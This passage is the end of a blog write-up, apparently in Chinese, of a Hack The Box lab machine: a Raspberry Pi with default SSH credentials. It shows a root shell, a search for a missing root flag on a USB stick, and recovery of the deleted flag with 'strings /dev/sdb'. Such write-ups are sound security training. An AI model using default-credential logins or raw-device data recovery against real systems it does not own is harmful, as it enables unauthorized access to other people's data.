<span class="token function">sudo</span> <span class="token parameter variable">-i</span>SSH is enabled and the default password <span class="token keyword">for</span> the <span class="token string">'pi'</span> user has not been changed.This is a security risk - please login as the <span class="token string">'pi'</span> user and <span class="token builtin class-name">type</span> <span class="token string">'passwd'</span> to <span class="token builtin class-name">set</span> a new password.SSH is enabled and the default password <span class="token keyword">for</span> the <span class="token string">'pi'</span> user has not been changed.This is a security risk - please login as the <span class="token string">'pi'</span> user and <span class="token builtin class-name">type</span> <span class="token string">'passwd'</span> to <span class="token builtin class-name">set</span> a new password.root@raspberrypi:~<span class="token comment"># ls</span>root.txtroot@raspberrypi:~<span class="token comment"># cat root.txt </span>I lost my original root.txt<span class="token operator">!</span> I think I may have a backup on my USB stick<span class="token punctuation">..</span>.root@raspberrypi:~<span class="token comment"># </span></code></pre><p>查看驱动清单，进入&#x2F;media&#x2F;usbstick，查看 damnit.txt </p><pre class="language-bash" data-language="bash"><code class="language-bash">root@raspberrypi:/<span class="token comment"># df -hl</span>Filesystem      Size  Used Avail Use% Mounted onaufs            <span class="token number">8</span>.5G  <span class="token number">2</span>.8G  <span class="token number">5</span>.3G  <span class="token number">34</span>% /tmpfs           100M  <span class="token number">4</span>.8M   96M   <span class="token number">5</span>% /run/dev/sda1       <span class="token number">1</span>.3G  <span class="token number">1</span>.3G     <span class="token number">0</span> <span class="token number">100</span>% /lib/live/mount/persistence/sda1/dev/loop0      <span class="token number">1</span>.3G  <span class="token number">1</span>.3G     <span class="token number">0</span> <span class="token number">100</span>% /lib/live/mount/rootfs/filesystem.squashfstmpfs           250M     <span class="token number">0</span>  250M   <span class="token number">0</span>% /lib/live/mount/overlay/dev/sda2       <span class="token number">8</span>.5G  <span class="token number">2</span>.8G  <span class="token number">5</span>.3G  <span class="token number">34</span>% /lib/live/mount/persistence/sda2devtmpfs         10M     <span class="token number">0</span>   10M   <span class="token number">0</span>% /devtmpfs           250M  <span class="token number">8</span>.0K  250M   <span class="token number">1</span>% /dev/shmtmpfs           <span class="token number">5</span>.0M  <span class="token number">4</span>.0K  <span class="token number">5</span>.0M   <span class="token number">1</span>% /run/locktmpfs           250M     <span class="token number">0</span>  250M   <span class="token number">0</span>% /sys/fs/cgrouptmpfs           250M  <span class="token number">8</span>.0K  250M   <span class="token number">1</span>% /tmp/dev/sdb        <span class="token number">8</span>.7M   93K  <span class="token number">7</span>.9M   <span class="token number">2</span>% /media/usbsticktmpfs            50M     <span class="token number">0</span>   50M   <span class="token number">0</span>% /run/user/999tmpfs            50M     <span class="token number">0</span>   50M   <span class="token number">0</span>% /run/user/1000root@raspberrypi:/<span class="token comment"># cd /media/usbstick</span>root@raspberrypi:/media/usbstick<span class="token comment"># ls</span>damnit.txt  lost+foundroot@raspberrypi:/media/usbstick<span class="token comment"># cat damnit.txt </span>Damnit<span class="token operator">!</span> Sorry <span class="token function">man</span> I accidentally deleted your files off the USB stick.Do you know <span class="token keyword">if</span> there is any way to get them back?<span class="token parameter variable">-James</span></code></pre><p>使用strings 查看字符串</p><pre class="language-bash" data-language="bash"><code class="language-bash">root@raspberrypi:/media/usbstick<span class="token comment"># strings /dev/sdb </span><span class="token operator">></span>r <span class="token operator">&amp;</span>/media/usbsticklost+foundroot.txtdamnit.txt<span class="token operator">></span>r <span class="token operator">&amp;</span><span class="token operator">></span>r <span class="token operator">&amp;</span>/media/usbsticklost+foundroot.txtdamnit.txt<span class="token operator">></span>r <span class="token operator">&amp;</span>/media/usbstick<span class="token number">2</span><span class="token punctuation">]</span><span class="token number">8</span>^lost+foundroot.txtdamnit.txt<span class="token operator">></span>r <span class="token operator">&amp;</span>3d3e483143ff12ec505d026fa13e020bDamnit<span class="token operator">!</span> Sorry <span class="token function">man</span> I accidentally deleted your files off the USB stick.Do you know <span class="token keyword">if</span> there is any way to get them back?<span class="token parameter variable">-James</span></code></pre><table><thead><tr><th align="left">Flag</th><th align="left">Path</th></tr></thead><tbody><tr><td align="left">Flag1</td><td align="left">&#x2F;home&#x2F;pi&#x2F;Desktop&#x2F;user.txt</td></tr><tr><td align="left">Flag2</td><td align="left">strings &#x2F;dev&#x2F;sdb</td></tr></tbody></table>]]></content>
    
    
    <summary type="html">&lt;style&gt;.qodjngigllvt{zoom:50%;}&lt;/style&gt;&lt;img src=&quot;/posts/c3392160/4ef1ea77e69185063d4200d7d0142baa.png&quot; class=&quot;qodjngigllvt&quot;&gt;</summary>
    
    
    
    <category term="Hackthebox" scheme="https://ry0ma24.github.io/categories/Hackthebox/"/>
    
    
    <category term="默认密码" scheme="https://ry0ma24.github.io/tags/%E9%BB%98%E8%AE%A4%E5%AF%86%E7%A0%81/"/>
    
  </entry>
  
</feed>
